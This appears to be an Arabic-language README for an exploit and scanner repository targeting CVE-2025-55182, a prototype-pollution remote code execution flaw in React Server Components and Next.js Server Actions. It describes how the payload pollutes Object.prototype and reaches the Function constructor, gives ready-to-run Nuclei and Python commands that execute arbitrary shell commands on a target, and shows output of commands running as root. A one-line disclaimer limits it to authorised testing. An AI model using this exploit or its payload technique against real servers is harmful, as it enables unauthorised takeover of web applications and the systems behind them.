
CVE-2025-55182 - React Server Components RCE Exploit & Scanner Supports external servers and CLI interface
أداة متكاملة لاستغلال ومسح ثغرة CVE-2025-55182 في React/Next.js Server Actions من خلال تنفيذ التعليمات البرمجية عن بُعد.
الإثبات الأصلي (PoC): Spritualkb/CVE-2025-55182-exp
CVE-2025-55182 هي ثغرة حرجة من نوع تلوث النموذج الأولي (Prototype Pollution) في React Server Components تتيح تنفيذ التعليمات البرمجية عن بُعد. يوفر هذا المستودع أداتين: المسح الآلي (قالب Nuclei) والاستغلال اليدوي (سكربت Python).
آلية الثغرة:
يستغل هذا الكود ثغرة تلوث النموذج الأولي في إلغاء تسلسل بروتوكول React Flight. إذ يلوث Object.prototype.then عبر "$1:__proto__:then" ويحصل على وصول إلى مُنشئ Function من خلال تعيين _formData.get إلى "$1:constructor:constructor"، ثم يحقن تعليمات برمجية خبيثة عبر _prefix يتم تنفيذها بواسطة Function().
cve-2025-55182.yaml)ماسح ثغرات آلي ينفذ أمر id ويستخرج الناتج عبر ترويسة X-Action-Redirect.
الاستخدام:
nuclei -u http://target.com:3000 -t cve-2025-55182.yaml
الميزات:
id) للتحقق من RCECVE-2025-55182.py)سكربت استغلال RCE متكامل ينفذ أوامر عشوائية ويستخرج الناتج.
الاستخدام:
python3 CVE-2025-55182.py http://target.com:3000 -c "id"
python3 CVE-2025-55182.py https://target.com -c "whoami" --no-check-ssl
python3 CVE-2025-55182.py 192.168.1.100:3000 -c "uname -a"
الميزات:
X-Action-Redirect$ nuclei -u http://localhost:3001 -t cve-2025-55182.yaml
[cve-2025-55182:command_output] [http] [critical] http://localhost:3001 ["uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"]
[INF] Scan completed in 28.35483ms. 1 matches found.
$ python3 CVE-2025-55182.py http://localhost:3001 -c "id"
============================================================
CVE-2025-55182 RCE Exploit
React Server Components Remote Code Execution
============================================================
[*] Target: http://localhost:3001
[*] Command: id
[*] Building payload...
[*] Sending exploit payload...
============================================================
[+] Command executed successfully!
============================================================
[+] Command Output:
------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
------------------------------------------------------------
============================================================
[*] Exploitation attempt completed
============================================================
لأغراض التعليم والاختبار المصرح به فقط